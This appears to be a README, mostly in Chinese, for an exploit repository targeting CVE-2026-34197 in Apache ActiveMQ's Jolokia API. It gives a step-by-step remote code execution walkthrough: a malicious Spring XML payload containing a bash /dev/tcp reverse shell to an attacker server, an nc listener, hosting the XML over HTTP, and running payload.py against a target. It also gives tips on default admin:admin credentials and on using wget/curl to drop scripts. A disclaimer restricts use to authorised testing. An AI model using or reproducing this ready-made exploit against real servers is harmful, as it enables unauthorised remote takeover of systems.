
Exploit script for CVE-2026-34197, targeting Apache ActiveMQ's Jolokia API to achieve remote code execution via malicious Spring XML configuration, with reverse shell capability.
本仓库提供了一个基于 Apache ActiveMQ 暴露的 Jolokia API 接口(/api/jolokia/)的远程代码执行 (RCE) 漏洞复现环境和利用脚本。
通过调用 addNetworkConnector 操作,强制 ActiveMQ 解析恶意构造的远程 Spring XML 配置文件,从而利用 MethodInvokingFactoryBean 执行系统命令。
payload.py: 利用主脚本,发送带有动态 Broker 名称的 HTTP POST 请求。payload.xml: 恶意的 Spring Bean 配置文件,内部包含反弹 Shell 的命令载荷。pip install requests
apache/activemq-classic:6.1.0 Docker 镜像)。payload.xml)在攻击机上打开 payload.xml,找到以下部分:
<value>bash -c 'bash -i >& /dev/tcp/您的云服务器IP/15000 0>&1'</value>
将其中的 IP 替换为您的云服务器公网 IP。如果目标环境中没有 bash,请根据目标环境情况更改为 sh 或其他执行方式。
在攻击机(云服务器)上开启一个终端,监听指定的端口(例如 15000):
nc -lvvp 15000
注意:确保云服务器的安全组/防火墙已经放行了入站 TCP 15000 端口。
在攻击机上(与 payload.xml 同级的目录),开启一个 HTTP 服务器以供目标下载 XML 文件:
python3 -m http.server 9000
注意:同样需要确保云服务器的安全组/防火墙已经放行了入站 TCP 9000 端口。
在本地机器(或攻击机)上运行 payload.py。
脚本支持通过命令行参数传入目标 ActiveMQ 的 IP:端口 (-t) 和攻击机托管 XML 的 IP:端口 (-a)。
python payload.py -t 192.168.0.1:8161 -a 8.8.8.8:9000
运行后,脚本会自动生成一个随机的 brokerName(例如 rce_a1b2c3),以彻底解决 java.io.IOException : Network Connector could not be registered in JMX 的名称冲突报错问题。
如果利用成功:
python3 -m http.server 9000)会看到一条对 /payload.xml 的 GET 200 请求记录。nc 监听端将收到来自目标机器的反弹 Shell 连接。/bin/bash 命令(常见于 Alpine 等精简基础镜像)。请将 payload.xml 中的执行命令修改为 /bin/sh,或者通过 wget/curl 落地脚本再执行。admin:admin)。本脚本和说明仅供授权的安全测试和教育学习使用。严禁用于任何未经授权的非法测试。使用者需对自身的行为负责。